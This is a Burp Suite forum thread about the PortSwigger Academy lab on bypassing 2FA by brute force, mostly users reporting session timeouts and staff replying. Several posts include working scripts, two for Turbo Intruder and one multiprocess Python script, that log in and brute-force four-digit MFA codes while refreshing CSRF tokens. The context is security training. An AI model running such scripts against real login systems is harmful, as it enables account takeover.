Burp Suite User Forum

Create new post

Lab: 2FA bypass using a brute-force attack

Andrew | Last updated: Jun 01, 2020 02:50AM UTC

Firstly, love all the labs you guys have, over 150 labs now, very impressive. Well done! For this lab "Lab: 2FA bypass using a brute-force attack", the solution is great, totally understand how it works etc. However, I am in Australia, and the latency for the 3 steps to refresh the session is around 4 seconds on my slow connection from the other side of the world. It would take ~10 hours to go through all combinations at 1 thread at a time. Given these are training labs, can you maybe build into the solution to solve after say x guesses? Also, I'd love to see a Turbo Intruder solution for this, and how to build in the 3 steps to refresh the session and grab a valid csrf token using a Turbo intruder script. And FYI...my brute force just expired, after only 650 attempts before the lab timed-out! Cheers! POST /login2 HTTP/1.1 Host: ac1b1f181fa91751808770b400eb001a.web-security-academy.net User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:76.0) Gecko/20100101 Firefox/76.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Content-Length: 51 Origin: https://ac1b1f181fa91751808770b400eb001a.web-security-academy.net Connection: close Referer: https://ac1b1f181fa91751808770b400eb001a.web-security-academy.net/login2 Cookie: session=wxUwOLjLw5nIvbjUTYPAe0Q44HFuDXj3 Upgrade-Insecure-Requests: 1 csrf=St2SVR9JQvRD1tKaSbfEm5bppwoEnNEG&mfa-code=0650 HTTP/1.1 404 Not Found Content-Type: text/html; charset=utf-8 Connection: close Content-Length: 623 <!DOCTYPE html> <html> <head> <title>Session expired</title> </head> <body> <div> <div id="labHeader"> <section class="pageHeader"> <div class="container"> <div class="title-container"> <h2>Session expired</h2> <p>The session you are looking for has expired</p> </div> </div> </section> </div> <section class="maincontainer"> </section> </div> </body> </html>

Uthman, PortSwigger Agent | Last updated: Jun 02, 2020 08:14AM UTC

Thank you for your feedback! Can you please try the lab again? Unfortunately, we do not have information on the Turbo Intruder solution but I am sure someone on the Twitter community will publish a solution soon.

Federico | Last updated: Jun 04, 2020 09:16PM UTC

Hi Andrew, Have you managed to sort this out? I´m in Argentina and getting 404 disconnect after a couple of hundreds attempts :( cheers

Dana | Last updated: Jun 05, 2020 06:58PM UTC

I'd like to know how others have successfully done this lab. Even using a Python PoC I only get to about 3,000 OTPs checked before session expires. I opened a ticket with support and they say the OTP is randomly generated. So it may be that I am unlucky and always getting a larger one; for those who successfully completed the lab, what was your OTP? I'm curious if it was a smaller number.

Federico | Last updated: Jun 08, 2020 02:41PM UTC

Hi Dana, I finally managed to get the MFA after around 20 tries aprox...... my number was 8493 hope this helps.

Uthman, PortSwigger Agent | Last updated: Jun 08, 2020 02:47PM UTC

Dana, the lab is designed to be challenging and we cannot replicate the issue. Are you using the solution provided? The OTP will always be 4 numeric characters.

maveric | Last updated: Jun 15, 2020 10:21AM UTC

For 404, catch is thread ;)

Br | Last updated: Jul 14, 2020 08:57AM UTC

This lab need much more time for session. Only luck can help to solve this lab.

Uthman, PortSwigger Agent | Last updated: Jul 14, 2020 09:10AM UTC

If you are facing any issues with the lab or believe there may be a bug, please email us on support@portswigger.net

teodor440 | Last updated: Aug 25, 2020 11:03PM UTC

Hey so I wrote a turbo intruder script for this task, I am not sure if It's really better than the basic method or if this is how turbo intruder is supposed to be used, but I hope this may help someone. Send the request POST /login2 ... to turbo intruder and run the following script: import re def queueRequests(target, wordlists): global stage, index engine = RequestEngine(endpoint=target.endpoint, concurrentConnections=1, requestsPerConnection=1, pipeline=True ) session_request = target.req session_request = re.sub("POST /login2 HTTP/1.1", "GET /login HTTP/1.1", session_request) session_request = re.sub("Cookie:.*\r\n", "", session_request) stage = "session" request_count = "{:04d}".format(0) index = 0 engine.queue(session_request) def handleResponse(req, interesting): global stage, index if stage == "begin": session_request = target.req session_request = re.sub("POST /login2 HTTP/1.1", "GET /login HTTP/1.1", session_request) session_request = re.sub("Cookie:.*\r\n", "", session_request) req.engine.queue(session_request) table.add(req) stage = "session" elif stage == "session": response = req.response login_request = req.request csrf = re.search("value=\".*\"", response).group().split("\"")[1] cookie = re.search("session=.*", response).group().split("=")[1].split(";")[0] login_request = re.sub("GET /login HTTP/1.1", "POST /login HTTP/1.1", login_request) login_request = re.sub("\r\n\r\n", "\r\nCookie: session=" + cookie + "\r\n\r\n", login_request) login_request = re.sub("csrf=.*", "csrf=" + csrf + "&username=carlos&password=montoya", login_request) req.engine.queue(login_request) stage = "login" elif stage == "login": response = req.response csrf_request = req.request cookie = re.search("session=.*", response).group().split("=")[1].split(";")[0] csrf_request = re.sub("POST /login HTTP/1.1", "GET /login2 HTTP/1.1", csrf_request) csrf_request = re.sub("Cookie:.*\r\n", "Cookie: session=" + cookie + "\r\n", csrf_request) req.engine.queue(csrf_request) stage = "bruteforce" elif stage == "bruteforce": response = req.response brute_request = req.request request_count = "{:04d}".format(index) index = index + 1 csrf = re.search("value=\".*\"", response).group().split("\"")[1] brute_request = re.sub("GET /login2 HTTP/1.1", "POST /login2 HTTP/1.1", brute_request) brute_request = re.sub("csrf=.*", "csrf=" + csrf + "&mfa-code=" + request_count, brute_request) req.engine.queue(brute_request) stage = "begin"

b | Last updated: Sep 03, 2020 07:58PM UTC

Thanks for that teodor440, I wish BS would remove the throttling for their own domain. I got lucky at 0389 and didn't have to wait too long.

Motasem | Last updated: Oct 03, 2020 11:18AM UTC

Hi, i have tried many times but it doesn't work lab session expires after reaching 1600 request! starting from 0 to 9999 !! would you please confirm it if it's still working in the lower range?? Thank you,

Motasem | Last updated: Oct 03, 2020 11:35AM UTC

Finally!! after the 7th try :) the code: 0315

Ishan | Last updated: Nov 28, 2020 11:28AM UTC

I am not happy with portswigger! I have tried more than 10 times and my session is getting expired and getting me 504 error. What should I do? On what ranges should I try? Please reply asap!!!!

Uthman, PortSwigger Agent | Last updated: Nov 30, 2020 10:05AM UTC

The labs are designed to be challenging. Can you please wait for a few hours and try again? Have you considered using a video tutorial?

Fabio | Last updated: Feb 17, 2021 06:01PM UTC

Same i have tried many times but it doesn't work

Uthman, PortSwigger Agent | Last updated: Feb 18, 2021 10:00AM UTC

Fabio, are you using Burp Professional? Or Burp Community? Have you tried following along with a video solution? - https://www.youtube.com/watch?v=B6JuMb3M-KA

Fabio | Last updated: Feb 19, 2021 03:40PM UTC

burp professional with both with intruder and turbo intruder after 1.5k time out yes i try to see if i commit mistake watching all video but same issue time out

Fabio | Last updated: Feb 19, 2021 03:42PM UTC

turbo intruder script def queueRequests(target, wordlists): engine = RequestEngine(endpoint=target.endpoint, concurrentConnections=1, requestsPerConnection=100, pipeline=False, engine=Engine.BURP ) for num in range(0, 10000): mfa_code= '(0:001)'.format(num) engine.queue(target.req,mfa_code.rstrip()) def handleResponse(req, interesting): if req.status == 302: table.add(req)

Uthman, PortSwigger Agent | Last updated: Feb 22, 2021 11:57AM UTC

Thanks. Our academy team is looking into this and we will update this thread with any feedback.

Tan | Last updated: Mar 12, 2021 06:20AM UTC

# I managed to run few thousand requests within an hour with the following python 3 code. Pardon the shoddiness and make the changes you prefer to the following code. import requests import re from concurrent.futures import ThreadPoolExecutor, as_completed from multiprocessing import Pool, freeze_support # NOTE: session needs to be passed down along requests url = 'https://ac891f2f1e6b6f8a803b8a790022001e.web-security-academy.net' urlForLoginPage = url + '/login' urlForTokenPage = url + '/login2' headerObj = { "Content-Type": "application/x-www-form-urlencoded" } def bruteForceLoginAndToken(tokenParam): httpPostResponse1 = requests.get(urlForLoginPage, headers = headerObj, verify=False) csrfValue = re.search("value=\".*\"", httpPostResponse1.text).group().split("\"")[1] # value="9JUbKMe7KvPkL7QL2cdV3nOheJZKZFb9" cookieValue = httpPostResponse1.headers['Set-Cookie'] sessionValue = re.search("session=.*", cookieValue).group().split("=")[1].split(";")[0] cookieObj = { "session": sessionValue } dataObj = { 'username': 'carlos', 'password': 'montoya', 'csrf': csrfValue } httpPostResponse2 = requests.post(urlForLoginPage, data = dataObj, headers = headerObj, cookies = cookieObj, verify=False, allow_redirects=False) # get the session id before redirect cookieValueAfterLogin = httpPostResponse2.headers['Set-Cookie'] sessionValueAfterLogin = re.search("session=.*", cookieValueAfterLogin).group().split("=")[1].split(";")[0] # NOTE: after successful login, session id changes cookieObj = { "session": sessionValueAfterLogin } httpPostResponse3 = requests.get(urlForTokenPage, headers = headerObj, cookies = cookieObj, verify=False) csrfValueOnTokenPage = re.search("value=\".*\"", httpPostResponse3.text).group().split("\"")[1] # value="YS30QyKrwhKL1sEYDAzMQNr9onCxPvS6" dataObj = { 'mfa-code': tokenParam, 'csrf': csrfValueOnTokenPage } httpPostResponse4 = requests.post(urlForTokenPage, data = dataObj, headers = headerObj, cookies = cookieObj, verify=False) print('token: ' + tokenParam) print('status: ' + str(httpPostResponse4.status_code)) print('url: ' + httpPostResponse4.url) print(httpPostResponse4.headers) print(httpPostResponse4.text) return tokenParam + ' ' + str(httpPostResponse4.status_code) ''' def runThread(): threadArr = [] with ThreadPoolExecutor(max_workers=8) as executor: for i in range(10000): token = str(i).zfill(4) bruteForceLoginAndToken(token) threadArr.append(executor.submit(token)) concurrent.futures.wait(threadArr) if False: for task in as_completed(threadArr): print(task.result()) runThread() ''' def main(): tokenArr = [str(i).zfill(4) for i in range(10000)] pool = Pool(8) results = pool.map(bruteForceLoginAndToken, tokenArr) print(results) if __name__=="__main__": freeze_support() main()

Farshid | Last updated: Apr 17, 2021 12:06PM UTC

Hi, firstly, I wanted to thank PortSwigger community for this great academy. As with this lab, I have problem too. I try to brute force with the macro, each of my requests take around 2 seconds to fire, and it takes near 10hrs to solve the lab (searching entire possible numbers), but after about 4,5 hrs my lab link gets expired and I have to reconfigure my macro and intruder. couldnt get this solved till now and getting 504 error after about 6500 requests (starting from 0000). Anyway to make the lab link not expiring for about 10 or 12 hrs ?

Uthman, PortSwigger Agent | Last updated: Apr 19, 2021 01:19PM UTC

Hi Farshid, Unfortunately, it will likely be slower if you are using Burp Community or if your network connection is slow. Have you tried using the Turbo Intruder method Tan mentioned above?

Vadym | Last updated: Jan 19, 2022 10:53PM UTC

This is not possible to solve the lab with Burp Free D:

You must be an existing, logged-in customer to reply to a thread. Please email us for additional support.